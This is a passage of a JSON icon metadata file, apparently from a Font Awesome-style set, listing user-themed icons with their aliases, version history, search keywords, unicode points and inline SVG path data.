        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M224 256A128 128 0 1 0 224 0a128 128 0 1 0 0 256zm-45.7 48C79.8 304 0 383.8 0 482.3C0 498.7 13.3 512 29.7 512H392.6c-5.4-9.4-8.6-20.3-8.6-32V352c0-2.1 .1-4.2 .3-6.3c-31-26-71-41.7-114.6-41.7H178.3zM528 240c17.7 0 32 14.3 32 32v48H496V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M224 256A128 128 0 1 0 224 0a128 128 0 1 0 0 256zm-45.7 48C79.8 304 0 383.8 0 482.3C0 498.7 13.3 512 29.7 512H392.6c-5.4-9.4-8.6-20.3-8.6-32V352c0-2.1 .1-4.2 .3-6.3c-31-26-71-41.7-114.6-41.7H178.3zM528 240c17.7 0 32 14.3 32 32v48H496V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z"
      }
    },
    "free": ["solid"]
  },
  "user-minus": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f503"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["delete", "negative", "remove"]
    },
    "styles": ["solid"],
    "unicode": "f503",
    "label": "User Minus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 128a128 128 0 1 1 256 0A128 128 0 1 1 96 128zM0 482.3C0 383.8 79.8 304 178.3 304h91.4C368.2 304 448 383.8 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3zM472 200H616c13.3 0 24 10.7 24 24s-10.7 24-24 24H472c-13.3 0-24-10.7-24-24s10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 128a128 128 0 1 1 256 0A128 128 0 1 1 96 128zM0 482.3C0 383.8 79.8 304 178.3 304h91.4C368.2 304 448 383.8 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3zM472 200H616c13.3 0 24 10.7 24 24s-10.7 24-24 24H472c-13.3 0-24-10.7-24-24s10.7-24 24-24z"
      }
    },
    "free": ["solid"]
  },
  "user-ninja": {
    "aliases": {
      "unicodes": {
        "composite": ["1f977"],
        "secondary": ["10f504"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "assassin",
        "avatar",
        "dangerous",
        "deadly",
        "fighter",
        "hidden",
        "ninja",
        "sneaky",
        "stealth"
      ]
    },
    "styles": ["solid"],
    "unicode": "f504",
    "label": "User Ninja",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 256c-57.2 0-105.6-37.5-122-89.3c-1.1 1.3-2.2 2.6-3.5 3.8c-15.8 15.8-38.8 20.7-53.6 22.1c-8.1 .8-14.6-5.7-13.8-13.8c1.4-14.7 6.3-37.8 22.1-53.6c5.8-5.8 12.6-10.1 19.6-13.4c-7-3.2-13.8-7.6-19.6-13.4C37.4 82.7 32.6 59.7 31.1 44.9c-.8-8.1 5.7-14.6 13.8-13.8c14.7 1.4 37.8 6.3 53.6 22.1c4.8 4.8 8.7 10.4 11.7 16.1C131.4 28.2 174.4 0 224 0c70.7 0 128 57.3 128 128s-57.3 128-128 128zM0 482.3C0 399.5 56.4 330 132.8 309.9c6-1.6 12.2 .9 15.9 5.8l62.5 83.3c6.4 8.5 19.2 8.5 25.6 0l62.5-83.3c3.7-4.9 9.9-7.4 15.9-5.8C391.6 330 448 399.5 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3zM160 96c-8.8 0-16 7.2-16 16s7.2 16 16 16H288c8.8 0 16-7.2 16-16s-7.2-16-16-16H160z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 256c-57.2 0-105.6-37.5-122-89.3c-1.1 1.3-2.2 2.6-3.5 3.8c-15.8 15.8-38.8 20.7-53.6 22.1c-8.1 .8-14.6-5.7-13.8-13.8c1.4-14.7 6.3-37.8 22.1-53.6c5.8-5.8 12.6-10.1 19.6-13.4c-7-3.2-13.8-7.6-19.6-13.4C37.4 82.7 32.6 59.7 31.1 44.9c-.8-8.1 5.7-14.6 13.8-13.8c14.7 1.4 37.8 6.3 53.6 22.1c4.8 4.8 8.7 10.4 11.7 16.1C131.4 28.2 174.4 0 224 0c70.7 0 128 57.3 128 128s-57.3 128-128 128zM0 482.3C0 399.5 56.4 330 132.8 309.9c6-1.6 12.2 .9 15.9 5.8l62.5 83.3c6.4 8.5 19.2 8.5 25.6 0l62.5-83.3c3.7-4.9 9.9-7.4 15.9-5.8C391.6 330 448 399.5 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3zM160 96c-8.8 0-16 7.2-16 16s7.2 16 16 16H288c8.8 0 16-7.2 16-16s-7.2-16-16-16H160z"
      }
    },
    "free": ["solid"]
  },
  "user-nurse": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f82f"]
      }
    },
    "changes": ["5.7.0", "5.12.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "covid-19",
        "doctor",
        "health",
        "md",
        "medical",
        "midwife",
        "physician",
        "practitioner",
        "surgeon",
        "worker"
      ]
    },
    "styles": ["solid"],
    "unicode": "f82f",
    "label": "User Nurse",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767619,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M96 128V70.2c0-13.3 8.3-25.3 20.8-30l96-36c7.2-2.7 15.2-2.7 22.5 0l96 36c12.5 4.7 20.8 16.6 20.8 30V128h-.3c.2 2.6 .3 5.3 .3 8v40c0 70.7-57.3 128-128 128s-128-57.3-128-128V136c0-2.7 .1-5.4 .3-8H96zm48 48c0 44.2 35.8 80 80 80s80-35.8 80-80V160H144v16zM111.9 327.7c10.5-3.4 21.8 .4 29.4 8.5l71 75.5c6.3 6.7 17 6.7 23.3 0l71-75.5c7.6-8.1 18.9-11.9 29.4-8.5C401 348.6 448 409.4 448 481.3c0 17-13.8 30.7-30.7 30.7H30.7C13.8 512 0 498.2 0 481.3c0-71.9 47-132.7 111.9-153.6zM208 48V64H192c-4.4 0-8 3.6-8 8V88c0 4.4 3.6 8 8 8h16v16c0 4.4 3.6 8 8 8h16c4.4 0 8-3.6 8-8V96h16c4.4 0 8-3.6 8-8V72c0-4.4-3.6-8-8-8H240V48c0-4.4-3.6-8-8-8H216c-4.4 0-8 3.6-8 8z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M96 128V70.2c0-13.3 8.3-25.3 20.8-30l96-36c7.2-2.7 15.2-2.7 22.5 0l96 36c12.5 4.7 20.8 16.6 20.8 30V128h-.3c.2 2.6 .3 5.3 .3 8v40c0 70.7-57.3 128-128 128s-128-57.3-128-128V136c0-2.7 .1-5.4 .3-8H96zm48 48c0 44.2 35.8 80 80 80s80-35.8 80-80V160H144v16zM111.9 327.7c10.5-3.4 21.8 .4 29.4 8.5l71 75.5c6.3 6.7 17 6.7 23.3 0l71-75.5c7.6-8.1 18.9-11.9 29.4-8.5C401 348.6 448 409.4 448 481.3c0 17-13.8 30.7-30.7 30.7H30.7C13.8 512 0 498.2 0 481.3c0-71.9 47-132.7 111.9-153.6zM208 48V64H192c-4.4 0-8 3.6-8 8V88c0 4.4 3.6 8 8 8h16v16c0 4.4 3.6 8 8 8h16c4.4 0 8-3.6 8-8V96h16c4.4 0 8-3.6 8-8V72c0-4.4-3.6-8-8-8H240V48c0-4.4-3.6-8-8-8H216c-4.4 0-8 3.6-8 8z"
      }
    },
    "free": ["solid"]
  },
  "user-pen": {
    "aliases": {
      "names": ["user-edit"],
      "unicodes": {
        "secondary": ["10f4ff"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f4ff",
    "label": "User Pen",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M224 256A128 128 0 1 0 224 0a128 128 0 1 0 0 256zm-45.7 48C79.8 304 0 383.8 0 482.3C0 498.7 13.3 512 29.7 512H322.8c-3.1-8.8-3.7-18.4-1.4-27.8l15-60.1c2.8-11.3 8.6-21.5 16.8-29.7l40.3-40.3c-32.1-31-75.7-50.1-123.9-50.1H178.3zm435.5-68.3c-15.6-15.6-40.9-15.6-56.6 0l-29.4 29.4 71 71 29.4-29.4c15.6-15.6 15.6-40.9 0-56.6l-14.4-14.4zM375.9 417c-4.1 4.1-7 9.2-8.4 14.9l-15 60.1c-1.4 5.5 .2 11.2 4.2 15.2s9.7 5.6 15.2 4.2l60.1-15c5.6-1.4 10.8-4.3 14.9-8.4L576.1 358.7l-71-71L375.9 417z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M224 256A128 128 0 1 0 224 0a128 128 0 1 0 0 256zm-45.7 48C79.8 304 0 383.8 0 482.3C0 498.7 13.3 512 29.7 512H322.8c-3.1-8.8-3.7-18.4-1.4-27.8l15-60.1c2.8-11.3 8.6-21.5 16.8-29.7l40.3-40.3c-32.1-31-75.7-50.1-123.9-50.1H178.3zm435.5-68.3c-15.6-15.6-40.9-15.6-56.6 0l-29.4 29.4 71 71 29.4-29.4c15.6-15.6 15.6-40.9 0-56.6l-14.4-14.4zM375.9 417c-4.1 4.1-7 9.2-8.4 14.9l-15 60.1c-1.4 5.5 .2 11.2 4.2 15.2s9.7 5.6 15.2 4.2l60.1-15c5.6-1.4 10.8-4.3 14.9-8.4L576.1 358.7l-71-71L375.9 417z"
      }
    },
    "free": ["solid"]
  },
  "user-plus": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f234"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.0.3",
      "5.0.11",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["add", "avatar", "positive", "sign up", "signup", "team"]
    },
    "styles": ["solid"],
    "unicode": "f234",
    "label": "User Plus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 128a128 128 0 1 1 256 0A128 128 0 1 1 96 128zM0 482.3C0 383.8 79.8 304 178.3 304h91.4C368.2 304 448 383.8 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3zM504 312V248H440c-13.3 0-24-10.7-24-24s10.7-24 24-24h64V136c0-13.3 10.7-24 24-24s24 10.7 24 24v64h64c13.3 0 24 10.7 24 24s-10.7 24-24 24H552v64c0 13.3-10.7 24-24 24s-24-10.7-24-24z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 128a128 128 0 1 1 256 0A128 128 0 1 1 96 128zM0 482.3C0 383.8 79.8 304 178.3 304h91.4C368.2 304 448 383.8 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3zM504 312V248H440c-13.3 0-24-10.7-24-24s10.7-24 24-24h64V136c0-13.3 10.7-24 24-24s24 10.7 24 24v64h64c13.3 0 24 10.7 24 24s-10.7 24-24 24H552v64c0 13.3-10.7 24-24 24s-24-10.7-24-24z"
      }
    },
    "free": ["solid"]
  },
  "user-secret": {
    "aliases": {
      "unicodes": {
        "composite": ["1f575"],
        "secondary": ["10f21b"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.0.3",
      "5.0.11",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["detective", "sleuth", "spy", "users-people"]
    },
    "styles": ["solid"],
    "unicode": "f21b",
    "label": "User Secret",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 16c-6.7 0-10.8-2.8-15.5-6.1C201.9 5.4 194 0 176 0c-30.5 0-52 43.7-66 89.4C62.7 98.1 32 112.2 32 128c0 14.3 25 27.1 64.6 35.9c-.4 4-.6 8-.6 12.1c0 17 3.3 33.2 9.3 48H45.4C38 224 32 230 32 237.4c0 1.7 .3 3.4 1 5l38.8 96.9C28.2 371.8 0 423.8 0 482.3C0 498.7 13.3 512 29.7 512H418.3c16.4 0 29.7-13.3 29.7-29.7c0-58.5-28.2-110.4-71.7-143L415 242.4c.6-1.6 1-3.3 1-5c0-7.4-6-13.4-13.4-13.4H342.7c6-14.8 9.3-31 9.3-48c0-4.1-.2-8.1-.6-12.1C391 155.1 416 142.3 416 128c0-15.8-30.7-29.9-78-38.6C324 43.7 302.5 0 272 0c-18 0-25.9 5.4-32.5 9.9c-4.8 3.3-8.8 6.1-15.5 6.1zm56 208H267.6c-16.5 0-31.1-10.6-36.3-26.2c-2.3-7-12.2-7-14.5 0c-5.2 15.6-19.9 26.2-36.3 26.2H168c-22.1 0-40-17.9-40-40V169.6c28.2 4.1 61 6.4 96 6.4s67.8-2.3 96-6.4V184c0 22.1-17.9 40-40 40zm-88 96l16 32L176 480 128 288l64 32zm128-32L272 480 240 352l16-32 64-32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 16c-6.7 0-10.8-2.8-15.5-6.1C201.9 5.4 194 0 176 0c-30.5 0-52 43.7-66 89.4C62.7 98.1 32 112.2 32 128c0 14.3 25 27.1 64.6 35.9c-.4 4-.6 8-.6 12.1c0 17 3.3 33.2 9.3 48H45.4C38 224 32 230 32 237.4c0 1.7 .3 3.4 1 5l38.8 96.9C28.2 371.8 0 423.8 0 482.3C0 498.7 13.3 512 29.7 512H418.3c16.4 0 29.7-13.3 29.7-29.7c0-58.5-28.2-110.4-71.7-143L415 242.4c.6-1.6 1-3.3 1-5c0-7.4-6-13.4-13.4-13.4H342.7c6-14.8 9.3-31 9.3-48c0-4.1-.2-8.1-.6-12.1C391 155.1 416 142.3 416 128c0-15.8-30.7-29.9-78-38.6C324 43.7 302.5 0 272 0c-18 0-25.9 5.4-32.5 9.9c-4.8 3.3-8.8 6.1-15.5 6.1zm56 208H267.6c-16.5 0-31.1-10.6-36.3-26.2c-2.3-7-12.2-7-14.5 0c-5.2 15.6-19.9 26.2-36.3 26.2H168c-22.1 0-40-17.9-40-40V169.6c28.2 4.1 61 6.4 96 6.4s67.8-2.3 96-6.4V184c0 22.1-17.9 40-40 40zm-88 96l16 32L176 480 128 288l64 32zm128-32L272 480 240 352l16-32 64-32z"
      }
    },
    "free": ["solid"]
  },
  "user-shield": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f505"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["protect", "safety"]
    },
    "styles": ["solid"],
    "unicode": "f505",
    "label": "User Shield",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M224 256A128 128 0 1 0 224 0a128 128 0 1 0 0 256zm-45.7 48C79.8 304 0 383.8 0 482.3C0 498.7 13.3 512 29.7 512H418.3c1.8 0 3.5-.2 5.3-.5c-76.3-55.1-99.8-141-103.1-200.2c-16.1-4.8-33.1-7.3-50.7-7.3H178.3zm308.8-78.3l-120 48C358 277.4 352 286.2 352 296c0 63.3 25.9 168.8 134.8 214.2c5.9 2.5 12.6 2.5 18.5 0C614.1 464.8 640 359.3 640 296c0-9.8-6-18.6-15.1-22.3l-120-48c-5.7-2.3-12.1-2.3-17.8 0zM591.4 312c-3.9 50.7-27.2 116.7-95.4 149.7V273.8L591.4 312z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M224 256A128 128 0 1 0 224 0a128 128 0 1 0 0 256zm-45.7 48C79.8 304 0 383.8 0 482.3C0 498.7 13.3 512 29.7 512H418.3c1.8 0 3.5-.2 5.3-.5c-76.3-55.1-99.8-141-103.1-200.2c-16.1-4.8-33.1-7.3-50.7-7.3H178.3zm308.8-78.3l-120 48C358 277.4 352 286.2 352 296c0 63.3 25.9 168.8 134.8 214.2c5.9 2.5 12.6 2.5 18.5 0C614.1 464.8 640 359.3 640 296c0-9.8-6-18.6-15.1-22.3l-120-48c-5.7-2.3-12.1-2.3-17.8 0zM591.4 312c-3.9 50.7-27.2 116.7-95.4 149.7V273.8L591.4 312z"
      }
    },
    "free": ["solid"]
  },
  "user-slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f506"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["ban", "delete", "remove"]
    },
    "styles": ["solid"],
    "unicode": "f506",
    "label": "User Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L353.3 251.6C407.9 237 448 187.2 448 128C448 57.3 390.7 0 320 0C250.2 0 193.5 55.8 192 125.2L38.8 5.1zM264.3 304.3C170.5 309.4 96 387.2 96 482.3c0 16.4 13.3 29.7 29.7 29.7H514.3c3.9 0 7.6-.7 11-2.1l-261-205.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L353.3 251.6C407.9 237 448 187.2 448 128C448 57.3 390.7 0 320 0C250.2 0 193.5 55.8 192 125.2L38.8 5.1zM264.3 304.3C170.5 309.4 96 387.2 96 482.3c0 16.4 13.3 29.7 29.7 29.7H514.3c3.9 0 7.6-.7 11-2.1l-261-205.6z"
      }
    },
    "free": ["solid"]
  },
  "user-tag": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f507"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f507",
    "label": "User Tag",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M224 256A128 128 0 1 0 224 0a128 128 0 1 0 0 256zm-45.7 48C79.8 304 0 383.8 0 482.3C0 498.7 13.3 512 29.7 512H418.3c10 0 18.8-4.9 24.2-12.5l-99.2-99.2c-14.9-14.9-23.3-35.1-23.3-56.1v-33c-15.9-4.7-32.8-7.2-50.3-7.2H178.3zM384 224c-17.7 0-32 14.3-32 32v82.7c0 17 6.7 33.3 18.7 45.3L478.1 491.3c18.7 18.7 49.1 18.7 67.9 0l73.4-73.4c18.7-18.7 18.7-49.1 0-67.9L512 242.7c-12-12-28.3-18.7-45.3-18.7H384zm24 80a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M224 256A128 128 0 1 0 224 0a128 128 0 1 0 0 256zm-45.7 48C79.8 304 0 383.8 0 482.3C0 498.7 13.3 512 29.7 512H418.3c10 0 18.8-4.9 24.2-12.5l-99.2-99.2c-14.9-14.9-23.3-35.1-23.3-56.1v-33c-15.9-4.7-32.8-7.2-50.3-7.2H178.3zM384 224c-17.7 0-32 14.3-32 32v82.7c0 17 6.7 33.3 18.7 45.3L478.1 491.3c18.7 18.7 49.1 18.7 67.9 0l73.4-73.4c18.7-18.7 18.7-49.1 0-67.9L512 242.7c-12-12-28.3-18.7-45.3-18.7H384zm24 80a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z"
      }
    },
    "free": ["solid"]
  },
  "user-tie": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f508"]
      }
    },
    "changes": [
      "5.0.11",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "avatar",
        "business",
        "clothing",
        "formal",
        "professional",
        "suit"
      ]
    },
    "styles": ["solid"],
    "unicode": "f508",
    "label": "User Tie",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 256A128 128 0 1 1 224 0a128 128 0 1 1 0 256zM209.1 359.2l-18.6-31c-6.4-10.7 1.3-24.2 13.7-24.2H224h19.7c12.4 0 20.1 13.6 13.7 24.2l-18.6 31 33.4 123.9 36-146.9c2-8.1 9.8-13.4 17.9-11.3c70.1 17.6 121.9 81 121.9 156.4c0 17-13.8 30.7-30.7 30.7H285.5c-2.1 0-4-.4-5.8-1.1l.3 1.1H168l.3-1.1c-1.8 .7-3.8 1.1-5.8 1.1H30.7C13.8 512 0 498.2 0 481.3c0-75.5 51.9-138.9 121.9-156.4c8.1-2 15.9 3.3 17.9 11.3l36 146.9 33.4-123.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 256A128 128 0 1 1 224 0a128 128 0 1 1 0 256zM209.1 359.2l-18.6-31c-6.4-10.7 1.3-24.2 13.7-24.2H224h19.7c12.4 0 20.1 13.6 13.7 24.2l-18.6 31 33.4 123.9 36-146.9c2-8.1 9.8-13.4 17.9-11.3c70.1 17.6 121.9 81 121.9 156.4c0 17-13.8 30.7-30.7 30.7H285.5c-2.1 0-4-.4-5.8-1.1l.3 1.1H168l.3-1.1c-1.8 .7-3.8 1.1-5.8 1.1H30.7C13.8 512 0 498.2 0 481.3c0-75.5 51.9-138.9 121.9-156.4c8.1-2 15.9 3.3 17.9 11.3l36 146.9 33.4-123.9z"
      }
    },
    "free": ["solid"]
  },
  "user-xmark": {
    "aliases": {
      "names": ["user-times"],
      "unicodes": {
        "secondary": ["10f235"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.0.3",
      "5.0.11",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["archive", "delete", "remove", "x"]
    },
    "styles": ["solid"],
    "unicode": "f235",
    "label": "User Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 128a128 128 0 1 1 256 0A128 128 0 1 1 96 128zM0 482.3C0 383.8 79.8 304 178.3 304h91.4C368.2 304 448 383.8 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3zM471 143c9.4-9.4 24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 128a128 128 0 1 1 256 0A128 128 0 1 1 96 128zM0 482.3C0 383.8 79.8 304 178.3 304h91.4C368.2 304 448 383.8 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3zM471 143c9.4-9.4 24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9z"
      }
    },
    "free": ["solid"]
  },
  "users": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0c0"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.0.3",
      "5.0.11",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f0c0",
    "label": "Users",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M144 0a80 80 0 1 1 0 160A80 80 0 1 1 144 0zM512 0a80 80 0 1 1 0 160A80 80 0 1 1 512 0zM0 298.7C0 239.8 47.8 192 106.7 192h42.7c15.9 0 31 3.5 44.6 9.7c-1.3 7.2-1.9 14.7-1.9 22.3c0 38.2 16.8 72.5 43.3 96c-.2 0-.4 0-.7 0H21.3C9.6 320 0 310.4 0 298.7zM405.3 320c-.2 0-.4 0-.7 0c26.6-23.5 43.3-57.8 43.3-96c0-7.6-.7-15-1.9-22.3c13.6-6.3 28.7-9.7 44.6-9.7h42.7C592.2 192 640 239.8 640 298.7c0 11.8-9.6 21.3-21.3 21.3H405.3zM224 224a96 96 0 1 1 192 0 96 96 0 1 1 -192 0zM128 485.3C128 411.7 187.7 352 261.3 352H378.7C452.3 352 512 411.7 512 485.3c0 14.7-11.9 26.7-26.7 26.7H154.7c-14.7 0-26.7-11.9-26.7-26.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M144 0a80 80 0 1 1 0 160A80 80 0 1 1 144 0zM512 0a80 80 0 1 1 0 160A80 80 0 1 1 512 0zM0 298.7C0 239.8 47.8 192 106.7 192h42.7c15.9 0 31 3.5 44.6 9.7c-1.3 7.2-1.9 14.7-1.9 22.3c0 38.2 16.8 72.5 43.3 96c-.2 0-.4 0-.7 0H21.3C9.6 320 0 310.4 0 298.7zM405.3 320c-.2 0-.4 0-.7 0c26.6-23.5 43.3-57.8 43.3-96c0-7.6-.7-15-1.9-22.3c13.6-6.3 28.7-9.7 44.6-9.7h42.7C592.2 192 640 239.8 640 298.7c0 11.8-9.6 21.3-21.3 21.3H405.3zM224 224a96 96 0 1 1 192 0 96 96 0 1 1 -192 0zM128 485.3C128 411.7 187.7 352 261.3 352H378.7C452.3 352 512 411.7 512 485.3c0 14.7-11.9 26.7-26.7 26.7H154.7c-14.7 0-26.7-11.9-26.7-26.7z"
      }
    },
    "free": ["solid"]
  },
  "users-between-lines": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["covered", "group", "people"]
    },
    "styles": ["solid"],
    "unicode": "e591",
    "label": "Users Between Lines",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 24C0 10.7 10.7 0 24 0H616c13.3 0 24 10.7 24 24s-10.7 24-24 24H24C10.7 48 0 37.3 0 24zM0 488c0-13.3 10.7-24 24-24H616c13.3 0 24 10.7 24 24s-10.7 24-24 24H24c-13.3 0-24-10.7-24-24zM83.2 160a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM32 320c0-35.3 28.7-64 64-64h96c12.2 0 23.7 3.4 33.4 9.4c-37.2 15.1-65.6 47.2-75.8 86.6H64c-17.7 0-32-14.3-32-32zm461.6 32c-10.3-40.1-39.6-72.6-77.7-87.4c9.4-5.5 20.4-8.6 32.1-8.6h96c35.3 0 64 28.7 64 64c0 17.7-14.3 32-32 32H493.6zM391.2 290.4c32.1 7.4 58.1 30.9 68.9 61.6c3.5 10 5.5 20.8 5.5 32c0 17.7-14.3 32-32 32h-224c-17.7 0-32-14.3-32-32c0-11.2 1.9-22 5.5-32c10.5-29.7 35.3-52.8 66.1-60.9c7.8-2.1 16-3.1 24.5-3.1h96c7.4 0 14.7 .8 21.6 2.4zm44-130.4a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM321.6 96a80 80 0 1 1 0 160 80 80 0 1 1 0-160z\"/></svg>",
